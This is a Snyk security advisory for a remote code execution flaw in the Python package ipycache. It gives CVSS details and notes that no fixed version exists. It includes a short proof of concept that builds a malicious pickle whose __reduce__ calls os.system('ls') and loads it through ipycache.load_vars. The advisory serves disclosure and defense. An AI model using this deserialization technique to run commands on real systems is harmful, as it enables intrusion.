Remote Code Execution (RCE) Affecting ipycache package, versions [0,]


0.0
high

Snyk CVSS

    Attack Complexity High
    User Interaction Required
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.2% (58th percentile)
Expand this section
NVD
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-IPYCACHE-173995
  • published 21 Mar 2019
  • disclosed 21 Mar 2019
  • credit bigbigliang-malwarebenchmark

How to fix?

There is no fixed version for ipycache.

Overview

ipycache is a package that defines a %%cache cell magic in the iPython notebook to cache results of long-lasting computations in a persistent pickle file.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) in the ipycache.load_vars method.

PoC

import os
import pickle
import ipycache

class Test(object):

def __init__(self):
    self.a = 1

def __reduce__(self):
    return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:

pickle.dump(tmpdaa,f)
ipycache.load_vars('a-file.pickle','')

References